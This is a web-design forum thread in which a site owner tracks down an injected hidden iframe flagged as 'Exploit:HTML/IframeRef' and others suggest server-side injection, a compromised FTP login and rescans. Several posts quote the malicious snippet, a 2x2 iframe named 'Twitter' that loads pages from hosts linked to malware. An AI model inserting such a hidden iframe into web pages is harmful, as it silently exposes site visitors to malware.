Locating hidden exploit code within a home page design

I appear to have an rogue piece of code that has somehow inserted itself into my current website design and I am unable to find where it would be hiding. Whenever I view the page in a browser my security software comes up with this warning

Exploit:HTML/IframeRef.DM

The AV software cleans it from the cache but as soon as I reload the page of course it is back again

I have tried to back track as to where it would have first appeared and all I can think of is when I tried to include a FormSite form into a placeholder on my home page - but this is a wild guess. I have deleted the placeholder for this and as far as I know the associated <iframe> placeholder also.

The images I am using on the site are a combination of in house photos and some that I have purchased from 123RF which I would expect would be free of malicious code.

I also played with the Facebook wideget to but have since deleted it as well.

So far I have trawled the page for possible locations but no luck.

Looking at the source code of the page I find at the very bottom of all the code..

<!--[if lt IE 7]><script type="text/javascript" src="index_htm_files/png.js"></script><![endif]-->
<script type="text/javascript">xr_aeh()</script>
<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://kozijnen.com/czof.html?i=1353323></iframe></body>
</html>

Where is this hiding?

Anyone have any experience with how I would go about finding what this code has attached itself to?

Cheers

It would appear to be something to do with the Twitter iframe. The URL in that triggers my anti virus.

does it happen on your computer When you visit any other web pages? Is the AV that comes up Your anti virus or a FAKE AV , There are some of those around associated with Twitter and Facebook.

I only played with inserting a Facebook widget into the home page as well as embeding a feedback form that I have stored on FormSite. I was able to get the Facebook widget to work, however with the embeded form I first received the AV notice when I tried to use it live on my site.

My AV is Microsoft Security Essentials and Malware Bytes.

I don't know where that iframe is hiding though - I have even painstakingly deleted all the body content on the home page and the dragged the mouse over the resulting blank page. It took a few passes but I found 2 small hidden frames which I deleted and then put the page back together again.

I uploaded the home page again and it all seemed to work fine till this morning when it would not only bring up the AV warning but also no graphics on the page would load.

I don't get any warning when I browse the internet - only if I attempt to reload my own webpage.

The source code mentions png.js - I assume that is the culprit and the Twitter iframe is is inside that. Is there a way in Xara to display all iframes or scripts that are a part of a page?

Thanks for the help.

It is more likely that the code injection is occurring on the server after you have published.
To test this, publish a new totally empty page.

The xara png.js is for older versions of IE to show alpha channel png images, nothing to do with twitter or iframes.

I have deleted the index_htm file folder, then uploaded a blank page - no AV notice. I then uploaded a single Xara template page that didn't upset the AV software either. Now I have uploaded the original .web file and will wait to see what happens.

I had tried deleting all the files and folders on the web server previously and the exploit didn't appear immediately - worked ok that night but next morning site was broken.

Cheers

Did you remove this as suggested?

Quote:

---

<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://kozijnen.com/czof.html?i=1353323></iframe>

---

As it's at the bottom of your page code the first place I would check is in Web Properties -> Website tab -> Html Code (body). And also check any placeholders.

If you can't find the code when editing in xara try exporting the website locally and when you view the exported source is the offending code there? And does it match exactly with the source of the online page? If not you might have some malicious script on your website that's modifying the uploaded files and you shoud change your ftp password and search for any dodgy files and remove them and then upload your site again.

Quote:

---

Originally Posted by jim64

does it happen on your computer When you visit any other web pages? Is the AV that comes up Your anti virus or a FAKE AV , There are some of those around associated with Twitter and Facebook.

---

Yes it does happen occasionally. The AV warning is from my Bitdefender anti phishing toolbar.

It certainly looks like you have something resident on your server that is generating the malicious code. If you Google around, kozijnen.com does seem to be associated with malware.

It's also possible that your ftp login has been compromised. You may want to change it or if you have access, review your ftp log to see who's been logging in, it should note the IPs of people uploading/downloading files. If you see a strange IP there, change your password.

Are you by any chance using filezilla to upload your sites?
I was once told that it stores passwords without encryption and that hackers can get the passwords very easy when using torrents and such...

No, I am using Xara to upload directly to the Web Server. The problem has not re-appeared since I manually deleted the files on the server etc. so at this point, fingers crossed, I think I may have put a stop to this!

I've had the same thing happen to my sites and posted back in February about the same issue. I've contacted my webhost, WebHero, and they attribute the exploit code to my software (Xara). It reports in Avast that is roe.js and sends it to my security chest.
I'm not using filezilla and I've changed my password, so my account has not been hacked.
Here is the code that is reported as malicious code:
<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://thetallytype.com/ecaf.html?i=1513991>
I'm not sure if I pasted enough info for any help, but I've redone several websites and they eventually end up with malicious code, just different website in the code.

Quote:

---

Originally Posted by coachjimgil

...they attribute the exploit code to my software (Xara). It reports in Avast that is roe.js and sends it to my security chest.
I'm not using filezilla and I've changed my password, so my account has not been hacked.

---

Extremely unlikely, unless your PC is infecting roe.js before publishing.
roe.js is safe javascript to help IE6 deal with PNG transparency.

Your site URL above throws up much more dangerous warnings about infecting 46 domains.
Personally, I would clear my hosting space and ask my host to check for hidden files that you may not see even using Filezilla to check all files on the server.
I would at least scan my PC using Malwarebytes in safemode then reboot to normal mode and republish my site.

Sorry, mixed my JSs up ;))
roe.js is the Roll Over Effects javascript.

png.js is the script for transparencies..

In any case, if roe.js was a malicious script, there would have been bazillions of reports by now.

I've scanned my computer several times with malware bytes, ms security essentials, trend micro house call, avast av, avg av, and others with nothing found. After I upload a page, it will be fine and then a couple days later it is infected. I had several websites that I haven't touched in years and they were infected. Webhero explained that a web bot was used to attack java script and that's how it becomes affected. They keep telling me to update my web page software. I have the latest update to ver9 and not sure what else to do if I continue using xara.

They're buck passing...

I'd recommend changing your FTP password though.

If it was Xara causing the problem I suspect other people would have reported it ;-)